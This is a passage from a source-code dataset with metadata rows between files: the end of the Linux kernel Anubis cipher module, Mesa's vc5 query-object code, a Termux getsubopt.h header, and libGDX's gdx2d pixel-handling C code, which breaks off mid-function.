0xccc41d14U, 0xc363da5dU, 0x5fdc7dcdU, 0x7f5a6c5cU,
0xf726ffedU, 0xe89d6f8eU, 0x19a0f089U,
};
static int anubis_setkey(struct crypto_tfm *tfm, const u8 *in_key,
unsigned int key_len)
{
struct anubis_ctx *ctx = crypto_tfm_ctx(tfm);
const __be32 *key = (const __be32 *)in_key;
u32 *flags = &tfm->crt_flags;
int N, R, i, r;
u32 kappa[ANUBIS_MAX_N];
u32 inter[ANUBIS_MAX_N];
switch (key_len) {
case 16: case 20: case 24: case 28:
case 32: case 36: case 40:
break;
default:
*flags |= CRYPTO_TFM_RES_BAD_KEY_LEN;
return -EINVAL;
}
ctx->key_len = key_len * 8;
N = ctx->key_len >> 5;
ctx->R = R = 8 + N;
/* * map cipher key to initial key state (mu): */
for (i = 0; i < N; i++)
kappa[i] = be32_to_cpu(key[i]);
/*
* generate R + 1 round keys:
*/
for (r = 0; r <= R; r++) {
u32 K0, K1, K2, K3;
/*
* generate r-th round key K^r:
*/
K0 = T4[(kappa[N - 1] >> 24) ];
K1 = T4[(kappa[N - 1] >> 16) & 0xff];
K2 = T4[(kappa[N - 1] >> 8) & 0xff];
K3 = T4[(kappa[N - 1] ) & 0xff];
for (i = N - 2; i >= 0; i--) {
K0 = T4[(kappa[i] >> 24) ] ^
(T5[(K0 >> 24) ] & 0xff000000U) ^
(T5[(K0 >> 16) & 0xff] & 0x00ff0000U) ^
(T5[(K0 >> 8) & 0xff] & 0x0000ff00U) ^
(T5[(K0 ) & 0xff] & 0x000000ffU);
K1 = T4[(kappa[i] >> 16) & 0xff] ^
(T5[(K1 >> 24) ] & 0xff000000U) ^
(T5[(K1 >> 16) & 0xff] & 0x00ff0000U) ^
(T5[(K1 >> 8) & 0xff] & 0x0000ff00U) ^
(T5[(K1 ) & 0xff] & 0x000000ffU);
K2 = T4[(kappa[i] >> 8) & 0xff] ^
(T5[(K2 >> 24) ] & 0xff000000U) ^
(T5[(K2 >> 16) & 0xff] & 0x00ff0000U) ^
(T5[(K2 >> 8) & 0xff] & 0x0000ff00U) ^
(T5[(K2 ) & 0xff] & 0x000000ffU);
K3 = T4[(kappa[i] ) & 0xff] ^
(T5[(K3 >> 24) ] & 0xff000000U) ^
(T5[(K3 >> 16) & 0xff] & 0x00ff0000U) ^
(T5[(K3 >> 8) & 0xff] & 0x0000ff00U) ^
(T5[(K3 ) & 0xff] & 0x000000ffU);
}
ctx->E[r][0] = K0;
ctx->E[r][1] = K1;
ctx->E[r][2] = K2;
ctx->E[r][3] = K3;
/*
* compute kappa^{r+1} from kappa^r:
*/
if (r == R)
break;
for (i = 0; i < N; i++) {
int j = i;
inter[i] = T0[(kappa[j--] >> 24) ];
if (j < 0)
j = N - 1;
inter[i] ^= T1[(kappa[j--] >> 16) & 0xff];
if (j < 0)
j = N - 1;
inter[i] ^= T2[(kappa[j--] >> 8) & 0xff];
if (j < 0)
j = N - 1;
inter[i] ^= T3[(kappa[j ] ) & 0xff];
}
kappa[0] = inter[0] ^ rc[r];
for (i = 1; i < N; i++)
kappa[i] = inter[i];
}
/*
* generate inverse key schedule: K'^0 = K^R, K'^R =
* K^0, K'^r = theta(K^{R-r}):
*/
for (i = 0; i < 4; i++) {
ctx->D[0][i] = ctx->E[R][i];
ctx->D[R][i] = ctx->E[0][i];
}
for (r = 1; r < R; r++) {
for (i = 0; i < 4; i++) {
u32 v = ctx->E[R - r][i];
ctx->D[r][i] =
T0[T4[(v >> 24) ] & 0xff] ^
T1[T4[(v >> 16) & 0xff] & 0xff] ^
T2[T4[(v >> 8) & 0xff] & 0xff] ^
T3[T4[(v ) & 0xff] & 0xff];
}
}
return 0;
}
static void anubis_crypt(u32 roundKey[ANUBIS_MAX_ROUNDS + 1][4],
u8 *ciphertext, const u8 *plaintext, const int R)
{
const __be32 *src = (const __be32 *)plaintext;
__be32 *dst = (__be32 *)ciphertext;
int i, r;
u32 state[4];
u32 inter[4];
/*
* map plaintext block to cipher state (mu)
* and add initial round key (sigma[K^0]):
*/
for (i = 0; i < 4; i++)
state[i] = be32_to_cpu(src[i]) ^ roundKey[0][i];
/*
* R - 1 full rounds:
*/
for (r = 1; r < R; r++) {
inter[0] =
T0[(state[0] >> 24) ] ^
T1[(state[1] >> 24) ] ^
T2[(state[2] >> 24) ] ^
T3[(state[3] >> 24) ] ^
roundKey[r][0];
inter[1] =
T0[(state[0] >> 16) & 0xff] ^
T1[(state[1] >> 16) & 0xff] ^
T2[(state[2] >> 16) & 0xff] ^
T3[(state[3] >> 16) & 0xff] ^
roundKey[r][1];
inter[2] =
T0[(state[0] >> 8) & 0xff] ^
T1[(state[1] >> 8) & 0xff] ^
T2[(state[2] >> 8) & 0xff] ^
T3[(state[3] >> 8) & 0xff] ^
roundKey[r][2];
inter[3] =
T0[(state[0] ) & 0xff] ^
T1[(state[1] ) & 0xff] ^
T2[(state[2] ) & 0xff] ^
T3[(state[3] ) & 0xff] ^
roundKey[r][3];
state[0] = inter[0];
state[1] = inter[1];
state[2] = inter[2];
state[3] = inter[3];
}
/*
* last round:
*/
inter[0] =
(T0[(state[0] >> 24) ] & 0xff000000U) ^
(T1[(state[1] >> 24) ] & 0x00ff0000U) ^
(T2[(state[2] >> 24) ] & 0x0000ff00U) ^
(T3[(state[3] >> 24) ] & 0x000000ffU) ^
roundKey[R][0];
inter[1] =
(T0[(state[0] >> 16) & 0xff] & 0xff000000U) ^
(T1[(state[1] >> 16) & 0xff] & 0x00ff0000U) ^
(T2[(state[2] >> 16) & 0xff] & 0x0000ff00U) ^
(T3[(state[3] >> 16) & 0xff] & 0x000000ffU) ^
roundKey[R][1];
inter[2] =
(T0[(state[0] >> 8) & 0xff] & 0xff000000U) ^
(T1[(state[1] >> 8) & 0xff] & 0x00ff0000U) ^
(T2[(state[2] >> 8) & 0xff] & 0x0000ff00U) ^
(T3[(state[3] >> 8) & 0xff] & 0x000000ffU) ^
roundKey[R][2];
inter[3] =
(T0[(state[0] ) & 0xff] & 0xff000000U) ^
(T1[(state[1] ) & 0xff] & 0x00ff0000U) ^
(T2[(state[2] ) & 0xff] & 0x0000ff00U) ^
(T3[(state[3] ) & 0xff] & 0x000000ffU) ^
roundKey[R][3];
/*
* map cipher state to ciphertext block (mu^{-1}):
*/
for (i = 0; i < 4; i++)
dst[i] = cpu_to_be32(inter[i]);
}
static void anubis_encrypt(struct crypto_tfm *tfm, u8 *dst, const u8 *src)
{
struct anubis_ctx *ctx = crypto_tfm_ctx(tfm);
anubis_crypt(ctx->E, dst, src, ctx->R);
}
static void anubis_decrypt(struct crypto_tfm *tfm, u8 *dst, const u8 *src)
{
struct anubis_ctx *ctx = crypto_tfm_ctx(tfm);
anubis_crypt(ctx->D, dst, src, ctx->R);
}
static struct crypto_alg anubis_alg = {
.cra_name = "anubis",
.cra_flags = CRYPTO_ALG_TYPE_CIPHER,
.cra_blocksize = ANUBIS_BLOCK_SIZE,
.cra_ctxsize = sizeof (struct anubis_ctx),
.cra_alignmask = 3,
.cra_module = THIS_MODULE,
.cra_u = { .cipher = {
.cia_min_keysize = ANUBIS_MIN_KEY_SIZE,
.cia_max_keysize = ANUBIS_MAX_KEY_SIZE,
.cia_setkey = anubis_setkey,
.cia_encrypt = anubis_encrypt,
.cia_decrypt = anubis_decrypt } }
};
static int __init anubis_mod_init(void)
{
int ret = 0;
ret = crypto_register_alg(&anubis_alg);
return ret;
}
static void __exit anubis_mod_fini(void)
{
crypto_unregister_alg(&anubis_alg);
}
module_init(anubis_mod_init);
module_exit(anubis_mod_fini);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Anubis Cryptographic Algorithm");
MODULE_ALIAS_CRYPTO("anubis");
|
e75186fa3d248043e868f3c87c150d315aa74bbe
|
ea9ac7578bc8a8fc83377f651b80e19920338fda
|
/src/gallium/drivers/vc5/vc5_query.c
|
9aa80cf536abf4f29c7201a89b1738a5e544b2b3
|
[] |
no_license
|
yuq/mesa-lima
|
9d263945e23118c7aa997bb9fcb87ae6bf7ddf0d
|
2adeaa87e813644dcf70f903c0ac909d65ef2972
|
refs/heads/lima-18.1
| 2021-01-25T11:03:44.405200
| 2018-05-27T12:53:15
| 2018-05-27T12:53:15
| 93,909,976
| 186
| 21
| null | 2018-06-05T01:32:44
| 2017-06-10T02:07:43
|
C
|
UTF-8
|
C
| false
| false
| 5,731
|
c
|
vc5_query.c
|
/*
* Copyright © 2014 Broadcom
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
/**
* Gallium query object support.
*
* The HW has native support for occlusion queries, with the query result
* being loaded and stored by the TLB unit. From a SW perspective, we have to
* be careful to make sure that the jobs that need to be tracking queries are
* bracketed by the start and end of counting, even across FBO transitions.
*
* For the transform feedback PRIMITIVES_GENERATED/WRITTEN queries, we have to
* do the calculations in software at draw time.
*/
#include "vc5_context.h"
#include "broadcom/cle/v3d_packet_v33_pack.h"
struct vc5_query
{
enum pipe_query_type type;
struct vc5_bo *bo;
uint32_t start, end;
};
static struct pipe_query *
vc5_create_query(struct pipe_context *pctx, unsigned query_type, unsigned index)
{
struct vc5_query *q = calloc(1, sizeof(*q));
q->type = query_type;
/* Note that struct pipe_query isn't actually defined anywhere. */
return (struct pipe_query *)q;
}
static void
vc5_destroy_query(struct pipe_context *pctx, struct pipe_query *query)
{
struct vc5_query *q = (struct vc5_query *)query;
vc5_bo_unreference(&q->bo);
free(q);
}
static boolean
vc5_begin_query(struct pipe_context *pctx, struct pipe_query *query)
{
struct vc5_context *vc5 = vc5_context(pctx);
struct vc5_query *q = (struct vc5_query *)query;
switch (q->type) {
case PIPE_QUERY_PRIMITIVES_GENERATED:
q->start = vc5->prims_generated;
break;
case PIPE_QUERY_PRIMITIVES_EMITTED:
q->start = vc5->tf_prims_generated;
break;
default:
q->bo = vc5_bo_alloc(vc5->screen, 4096, "query");
uint32_t *map = vc5_bo_map(q->bo);
*map = 0;
vc5->current_oq = q->bo;
vc5->dirty |= VC5_DIRTY_OQ;
break;
}
return true;
}
static bool
vc5_end_query(struct pipe_context *pctx, struct pipe_query *query)
{
struct vc5_context *vc5 = vc5_context(pctx);
struct vc5_query *q = (struct vc5_query *)query;
switch (q->type) {
case PIPE_QUERY_PRIMITIVES_GENERATED:
q->end = vc5->prims_generated;
break;
case PIPE_QUERY_PRIMITIVES_EMITTED:
q->end = vc5->tf_prims_generated;
break;
default:
vc5->current_oq = NULL;
vc5->dirty |= VC5_DIRTY_OQ;
break;
}
return true;
}
static boolean
vc5_get_query_result(struct pipe_context *pctx, struct pipe_query *query,
boolean wait, union pipe_query_result *vresult)
{
struct vc5_query *q = (struct vc5_query *)query;
uint32_t result = 0;
if (q->bo) {
/* XXX: Only flush the jobs using this BO. */
vc5_flush(pctx);
if (wait) {
if (!vc5_bo_wait(q->bo, 0, "query"))
return false;
} else {
if (!vc5_bo_wait(q->bo, ~0ull, "query"))
return false;
}
/* XXX: Sum up per-core values. */
uint32_t *map = vc5_bo_map(q->bo);
result = *map;
vc5_bo_unreference(&q->bo);
}
switch (q->type) {
case PIPE_QUERY_OCCLUSION_COUNTER:
vresult->u64 = result;
break;
case PIPE_QUERY_OCCLUSION_PREDICATE:
case PIPE_QUERY_OCCLUSION_PREDICATE_CONSERVATIVE:
vresult->b = result != 0;
break;
case PIPE_QUERY_PRIMITIVES_GENERATED:
case PIPE_QUERY_PRIMITIVES_EMITTED:
vresult->u64 = q->end - q->start;
break;
default:
unreachable("unsupported query type");
}
return true;
}
static void
vc5_set_active_query_state(struct pipe_context *pctx, boolean enable)
{
struct vc5_context *vc5 = vc5_context(pctx);
vc5->active_queries = enable;
vc5->dirty |= VC5_DIRTY_OQ;
vc5->dirty |= VC5_DIRTY_STREAMOUT;
}
void
vc5_query_init(struct pipe_context *pctx)
{
pctx->create_query = vc5_create_query;
pctx->destroy_query = vc5_destroy_query;
pctx->begin_query = vc5_begin_query;
pctx->end_query = vc5_end_query;
pctx->get_query_result = vc5_get_query_result;
pctx->set_active_query_state = vc5_set_active_query_state;
}
|
95adc0fe07eccdd5c32476c1d23db3f37d651e49
|
05793671a0248b774e28902a542d9974c352764b
|
/root-packages/v4l-utils/getsubopt.h
|
431cbf00eb0055459f6957b734bfeb3686079374
|
[
"Apache-2.0"
] |
permissive
|
termux/termux-packages
|
6ed565e7f8769adc02d865335721c2e41ccacf44
|
7c190ce8ccd093afd94d07dea77274790d59b5ca
|
refs/heads/master
| 2023-09-01T13:56:43.985055
| 2023-09-01T12:14:09
| 2023-09-01T12:14:09
| 37,346,186
| 12,687
| 3,938
|
NOASSERTION
| 2023-09-14T19:35:17
| 2015-06-12T21:48:33
|
Shell
|
UTF-8
|
C
| false
| false
| 242
|
h
|
getsubopt.h
|
#ifndef _GETSUBOPT_H
#define _GETSUBOPT_H
#ifdef __cplusplus
extern "C" {
#endif
#if defined __ANDROID__ && __ANDROID_API__ < 26
int getsubopt(char **, char *const *, char **);
#endif
#ifdef __cplusplus
}
#endif
#endif /* _GETSUBOPT_H */
|
d4608eb625d627651080e5e2ba8b3bb56bd1e4df
|
c86f7e3f5c4805b7281578a25f70aa8ea5def191
|
/gdx/jni/gdx2d/gdx2d.c
|
89bbdf03a1d55d049576d93b2e0aeacdc4454384
|
[
"Apache-2.0",
"LicenseRef-scancode-other-copyleft",
"CC-BY-SA-3.0",
"LicenseRef-scancode-proprietary-license"
] |
permissive
|
libgdx/libgdx
|
8aac413dd4a8467e42b916b6b755f32072bdc80f
|
6fbf3abe28dcfa55b81a9c3dd2817d4f5f3c96ad
|
refs/heads/master
| 2023-09-01T22:00:13.462578
| 2023-08-28T10:44:22
| 2023-08-28T10:44:22
| 5,373,551
| 20,676
| 6,383
|
Apache-2.0
| 2023-09-12T16:30:24
| 2012-08-10T19:34:38
|
Java
|
UTF-8
|
C
| false
| false
| 32,216
|
c
|
gdx2d.c
|
/*
* Copyright 2010 Mario Zechner (contact@badlogicgames.com), Nathan Sweet (admin@esotericsoftware.com)
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS"
* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language
* governing permissions and limitations under the License.
*/
#include "gdx2d.h"
#include <stdlib.h>
#define STB_IMAGE_IMPLEMENTATION
#define STBI_FAILURE_USERMSG
#define STBI_NO_STDIO
#include "stb_image.h"
static uint32_t* lu4 = 0;
static uint32_t* lu5 = 0;
static uint32_t* lu6 = 0;
typedef void(*set_pixel_func)(unsigned char* pixel_addr, uint32_t color);
typedef uint32_t(*get_pixel_func)(unsigned char* pixel_addr);
static inline void generate_look_ups() {
uint32_t i = 0;
lu4 = malloc(sizeof(uint32_t) * 16);
lu5 = malloc(sizeof(uint32_t) * 32);
lu6 = malloc(sizeof(uint32_t) * 64);
for(i = 0; i < 16; i++) {
lu4[i] = (uint32_t) i / 15.0f * 255;
lu5[i] = (uint32_t) i / 31.0f * 255;
lu6[i] = (uint32_t) i / 63.0f * 255;
}
for(i = 16; i < 32; i++) {
lu5[i] = (uint32_t) i / 31.0f * 255;
lu6[i] = (uint32_t) i / 63.0f * 255;
}
for(i = 32; i < 64; i++) {
lu6[i] = (uint32_t) i / 63.0f * 255;
}
}
static inline uint32_t to_format(uint32_t format, uint32_t color) {
uint32_t r, g, b, a, l;
switch(format) {
case GDX2D_FORMAT_ALPHA:
return color & 0xff;
case GDX2D_FORMAT_LUMINANCE_ALPHA:
r = (color & 0xff000000) >> 24;
g = (color & 0xff0000) >> 16;
b = (color & 0xff00) >> 8;
a = (color & 0xff);
l = ((uint32_t)(0.2126f * r + 0.7152 * g + 0.0722 * b) & 0xff) << 8;
return (l & 0xffffff00) | a;
case GDX2D_FORMAT_RGB888:
return color >> 8;
case GDX2D_FORMAT_RGBA8888:
return color;
case GDX2D_FORMAT_RGB565:
r = (((color & 0xff000000) >> 27) << 11) & 0xf800;
g = (((color & 0xff0000) >> 18) << 5) & 0x7e0;
b = ((color & 0xff00) >> 11) & 0x1f;
return r | g | b;
case GDX2D_FORMAT_RGBA4444:
r = (((color & 0xff000000) >> 28) << 12) & 0xf000;
g = (((color & 0xff0000) >> 20) << 8) & 0xf00;
b = (((color & 0xff00) >> 12) << 4) & 0xf0;
a = ((color & 0xff) >> 4) & 0xf;
return r | g | b | a;
default:
return 0;
}
}
#define min(a, b) (a > b?b:a)
static inline uint32_t weight_RGBA8888(uint32_t color, float weight) {
uint32_t r, g, b, a;
r = min((uint32_t)(((color & 0xff000000) >> 24) * weight), 255);
g = min((uint32_t)(((color & 0xff0000) >> 16) * weight), 255);
b = min((uint32_t)(((color & 0xff00) >> 8) * weight), 255);
a = min((uint32_t)(((color & 0xff)) * weight), 255);
return (r << 24) | (g << 16) | (b << 8) | a;
}
static inline uint32_t to_RGBA8888(uint32_t format, uint32_t color) {
uint32_t r, g, b, a;
if(!lu5) generate_look_ups();
switch(format) {
case GDX2D_FORMAT_ALPHA:
return (color & 0xff) | 0xffffff00;
case GDX2D_FORMAT_LUMINANCE_ALPHA:
return ((color & 0xff00) << 16) | ((color & 0xff00) << 8) | (color & 0xffff);
case GDX2D_FORMAT_RGB888:
return (color << 8) | 0x000000ff;
case GDX2D_FORMAT_RGBA8888:
return color;
case GDX2D_FORMAT_RGB565:
r = lu5[(color & 0xf800) >> 11] << 24;
g = lu6[(color & 0x7e0) >> 5] << 16;
b = lu5[(color & 0x1f)] << 8;
return r | g | b | 0xff;
case GDX2D_FORMAT_RGBA4444:
r = lu4[(color & 0xf000) >> 12] << 24;
g = lu4[(color & 0xf00) >> 8] << 16;
b = lu4[(color & 0xf0) >> 4] << 8;
a = lu4[(color & 0xf)];
return r | g | b | a;
default:
return 0;
}
}
static inline void set_pixel_alpha(unsigned char *pixel_addr, uint32_t color) {
*pixel_addr = (unsigned char)(color & 0xff);
}
static inline void set_pixel_luminance_alpha(unsigned char *pixel_addr, uint32_t color) {
*(unsigned short*)pixel_addr = (unsigned short)color;
}
static inline void set_pixel_RGB888(unsigned char *pixel_addr, uint32_t color) {
//*(unsigned short*)pixel_addr = (unsigned short)(((color & 0xff0000) >> 16) | (color & 0xff00));
pixel_addr[0] = (color & 0xff0000) >> 16;
pixel_addr[1] = (color & 0xff00) >> 8;
pixel_addr[2] = (color & 0xff);
}
static inline void set_pixel_RGBA8888(unsigned char *pixel_addr, uint32_t color) {
*(uint32_t*)pixel_addr = ((color & 0xff000000) >> 24) |
((color & 0xff0000) >> 8) |
((color & 0xff00) << 8) |
((color & 0xff) << 24);
}
static inline void set_pixel_RGB565(unsigned char *pixel_addr, uint32_t color) {
*(uint16_t*)pixel_addr = (uint16_t)(color);
}
static inline void set_pixel_RGBA4444(unsigned char *pixel_addr, uint32_t color) {
*(uint16_t*)pixel_addr = (uint16_t)(color);
}
static inline set_pixel_func set_pixel_func_ptr(uint32_t format) {
switch(format) {
case GDX2D_FORMAT_ALPHA: return &set_pixel_alpha;
case GDX2D_FORMAT_LUMINANCE_ALPHA: return &set_pixel_luminance_alpha;
case GDX2D_FORMAT_RGB888: return &set_pixel_RGB888;
case GDX2D_FORMAT_RGBA8888: return &set_pixel_RGBA8888;
case GDX2D_FORMAT_RGB565: return &set_pixel_RGB565;
case GDX2D_FORMAT_RGBA4444: return &set_pixel_RGBA4444;
default: return &set_pixel_alpha; // better idea for a default?
}
}
static inline uint32_t blend(uint32_t src, uint32_t dst) {
uint32_t src_a = src & 0xff;
if (src_a == 0) return dst;
uint32_t src_b = (src >> 8) & 0xff;
uint32_t src_g = (src >> 16) & 0xff;
uint32_t src_r = (src >> 24) & 0xff;
uint32_t dst_a = dst & 0xff;
uint32_t dst_b = (dst >> 8) & 0xff;
uint32_t dst_g = (dst >> 16) & 0xff;
uint32_t dst_r = (dst >> 24) & 0xff;
dst_a -= (dst_a * src_a) / 255;
uint32_t a = dst_a + src_a;
dst_r = (dst_r * dst_a + src_r * src_a) / a;
dst_g = (dst_g * dst_a + src_g * src_a) / a;
dst_b = (dst_b * dst_a + src_b * src_a) / a;
return (uint32_t)((dst_r << 24) | (dst_g << 16) | (dst_b << 8) | a);
}
static inline uint32_t get_pixel_alpha(unsigned char *pixel_addr) {
return *pixel_addr;
}
static inline uint32_t get_pixel_luminance_alpha(unsigned char *pixel_addr) {
return (((uint32_t)pixel_addr[0]) << 8) | pixel_addr[1];
}
static inline uint32_t get_pixel_RGB888(unsigned char *pixel_addr) {
return (((uint32_t)pixel_addr[0]) << 16) | (((uint32_t)pixel_addr[1]) << 8) | (pixel_addr[2]);
}
static inline uint32_t get_pixel_RGBA8888(unsigned char *pixel_addr) {
return (((uint32_t)pixel_addr[0]) << 24) | (((uint32_t)pixel_addr[1]) << 16) | (((uint32_t)pixel_addr[2]) << 8) | pixel_addr[3];
}
static inline uint32_t get_pixel_RGB565(unsigned char *pixel_addr) {
return *(uint16_t*)pixel_addr;
}
static inline uint32_t get_pixel_RGBA4444(unsigned char *pixel_addr) {
return *(uint16_t*)pixel_addr;
}
static inline get_pixel_func get_pixel_func_ptr(uint32_t format) {
switch(format) {
case GDX2D_FORMAT_ALPHA: return &get_pixel_alpha;
case GDX2D_FORMAT_LUMINANCE_ALPHA: return &get_pixel_luminance_alpha;
case GDX2D_FORMAT_RGB888: return &get_pixel_RGB888;
case GDX2D_FORMAT_RGBA8888: return &get_pixel_RGBA8888;
case GDX2D_FORMAT_RGB565: return &get_pixel_RGB565;
case GDX2D_FORMAT_RGBA4444: return &get_pixel_RGBA4444;
default: return &get_pixel_alpha; // better idea for a default?
}
}
gdx2d_pixmap* gdx2d_load(const unsigned char *buffer, uint32_t len) {
int32_t width, height, format;
const unsigned char* pixels = stbi_load_from_memory(buffer, len, &width, &height, &format, 0);
if (pixels == NULL)
return NULL;
gdx2d_pixmap* pixmap = (gdx2d_pixmap*)malloc(sizeof(gdx2d_pixmap));
if (!pixmap) return 0;
pixmap->width = (uint32_t)width;
pixmap->height = (uint32_t)height;
pixmap->format = (uint32_t)format;
pixmap->blend = GDX2D_BLEND_SRC_OVER;
pixmap->scale = GDX2D_SCALE_BILINEAR;
pixmap->pixels = pixels;
return pixmap;
}
uint32_t gdx2d_bytes_per_pixel(uint32_t format) {
switch(format) {
case GDX2D_FORMAT_ALPHA:
return 1;
case GDX2D_FORMAT_LUMINANCE_ALPHA:
case GDX2D_FORMAT_RGB565:
case GDX2D_FORMAT_RGBA4444:
return 2;
case GDX2D_FORMAT_RGB888:
return 3;
case GDX2D_FORMAT_RGBA8888:
return 4;
default:
return 4;
}
}
gdx2d_pixmap* gdx2d_new(uint32_t width, uint32_t height, uint32_t format) {
gdx2d_pixmap* pixmap = (gdx2d_pixmap*)malloc(sizeof(gdx2d_pixmap));
if (!pixmap) return 0;
pixmap->width = width;
pixmap->height = height;
pixmap->format = format;
pixmap->blend = GDX2D_BLEND_SRC_OVER;
pixmap->scale = GDX2D_SCALE_BILINEAR;
pixmap->pixels = (unsigned char*)malloc(width * height * gdx2d_bytes_per_pixel(format));
if (!pixmap->pixels) {
free((void*)pixmap);
return 0;
}
return pixmap;
}
void gdx2d_free(const gdx2d_pixmap* pixmap) {
free((void*)pixmap->pixels);
free((void*)pixmap);
}
void gdx2d_set_blend (gdx2d_pixmap* pixmap, uint32_t blend) {
pixmap->blend = blend;
}
void gdx2d_set_scale (gdx2d_pixmap* pixmap, uint32_t scale) {
pixmap->scale = scale;
}
const char *gdx2d_get_failure_reason(void) {
return stbi_failure_reason();
}
static inline void clear_alpha(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
memset((void*)pixmap->pixels, col, pixels);
}
static inline void clear_luminance_alpha(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
unsigned short* ptr = (unsigned short*)pixmap->pixels;
unsigned short l = (col & 0xff) << 8 | (col >> 8);
for(; pixels > 0; pixels--) {
*ptr = l;
ptr++;
}
}
static inline void clear_RGB888(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
unsigned char* ptr = (unsigned char*)pixmap->pixels;
unsigned char r = (col & 0xff0000) >> 16;
unsigned char g = (col & 0xff00) >> 8;
unsigned char b = (col & 0xff);
for(; pixels > 0; pixels--) {
*ptr = r;
ptr++;
*ptr = g;
ptr++;
*ptr = b;
ptr++;
}
}
static inline void clear_RGBA8888(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
uint32_t* ptr = (uint32_t*)pixmap->pixels;
unsigned char r = (col & 0xff000000) >> 24;
unsigned char g = (col & 0xff0000) >> 16;
unsigned char b = (col & 0xff00) >> 8;
unsigned char a = (col & 0xff);
col = (a << 24) | (b << 16) | (g << 8) | r;
for(; pixels > 0; pixels--) {
*ptr = col;
ptr++;
}
}
static inline void clear_RGB565(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
unsigned short* ptr = (unsigned short*)pixmap->pixels;
unsigned short l = col & 0xffff;
for(; pixels > 0; pixels--) {
*ptr = l;
ptr++;
}
}
static inline void clear_RGBA4444(const gdx2d_pixmap* pixmap, uint32_t col) {
int pixels = pixmap->width * pixmap->height;
unsigned short* ptr = (unsigned short*)pixmap->pixels;
unsigned short l = col & 0xffff;
for(; pixels > 0; pixels--) {
*ptr = l;
ptr++;
}
}
void gdx2d_clear(const gdx2d_pixmap* pixmap, uint32_t col) {
col = to_format(pixmap->format, col);
switch(pixmap->format) {
case GDX2D_FORMAT_ALPHA:
clear_alpha(pixmap, col);
break;
case GDX2D_FORMAT_LUMINANCE_ALPHA:
clear_luminance_alpha(pixmap, col);
break;
case GDX2D_FORMAT_RGB888:
clear_RGB888(pixmap, col);
break;
case GDX2D_FORMAT_RGBA8888:
clear_RGBA8888(pixmap, col);
break;
case GDX2D_FORMAT_RGB565:
clear_RGB565(pixmap, col);
break;
case GDX2D_FORMAT_RGBA4444:
clear_RGBA4444(pixmap, col);
break;
default:
break;
}
}
static inline int32_t in_pixmap(const gdx2d_pixmap* pixmap, int32_t x, int32_t y) {
if(x < 0 || y < 0)
return 0;
if(x >= pixmap->width || y >= pixmap->height)
return 0;
return -1;
}
static inline void set_pixel(unsigned char* pixels, uint32_t width, uint32_t height, uint32_t bpp, set_pixel_func pixel_func, int32_t x, int32_t y, uint32_t col) {
if(x < 0 || y < 0) return;
if(x >= (int32_t)width || y >= (int32_t)height) return;
pixels = pixels + (x + width * y) * bpp;
pixel_func(pixels, col);
}
uint32_t gdx2d_get_pixel(const gdx2d_pixmap* pixmap, int32_t x, int32_t y) {
if(!in_pixmap(pixmap, x, y))
return 0;
unsigned char* ptr = (unsigned char*)pixmap->pixels + (x + pixmap->width * y) * gdx2d_bytes_per_pixel(pixmap->format);
return to_RGBA8888(pixmap->format, get_pixel_func_ptr(pixmap->format)(ptr));
}
void gdx2d_set_pixel(const gdx2d_pixmap* pixmap, int32_t x, int32_t y, uint32_t col) {
if(pixmap->blend) {
uint32_t dst = gdx2d_get_pixel(pixmap, x, y);
col = blend(col, dst);
col = to_format(pixmap->format, col);
set_pixel((unsigned char*)pixmap->pixels, pixmap->width, pixmap->height, gdx2d_bytes_per_pixel(pixmap->format), set_pixel_func_ptr(pixmap->format), x, y, col);
} else {
col = to_format(pixmap->format, col);
set_pixel((unsigned char*)pixmap->pixels, pixmap->width, pixmap->height, gdx2d_bytes_per_pixel(pixmap->format), set_pixel_func_ptr(pixmap->format), x, y, col);
}
}
void gdx2d_draw_line(const gdx2d_pixmap* pixmap, int32_t x0, int32_t y0, int32_t x1, int32_t y1, uint32_t col) {
int32_t dy = y1 - y0;
int32_t dx = x1 - x0;
int32_t fraction = 0;
int32_t stepx, stepy;
unsigned char* ptr = (unsigned char*)pixmap->pixels;
uint32_t bpp = gdx2d_bytes_per_pixel(pixmap->format);
set_pixel_func pset = set_pixel_func_ptr(pixmap->format);
get_pixel_func pget = get_pixel_func_ptr(pixmap->format);
uint32_t col_format = to_format(pixmap->format, col);
void* addr = ptr + (x0 + y0 * pixmap->width) * bpp;
if (dy < 0) { dy = -dy; stepy = -1; } else { stepy = 1; }
if (dx < 0) { dx = -dx; stepx = -1; } else { stepx = 1; }
dy <<= 1;
dx <<= 1;
if(in_pixmap(pixmap, x0, y0)) {
if(pixmap->blend) {
col_format = to_format(pixmap->format, blend(col, to_RGBA8888(pixmap->format, pget(addr))));
}
pset(addr, col_format);
}
if (dx > dy) {
fraction = dy - (dx >> 1);
while (x0 != x1) {
if (fraction >= 0) {
y0 += stepy;
fraction -= dx;
}
x0 += stepx;
fraction += dy;
if(in_pixmap(pixmap, x0, y0)) {
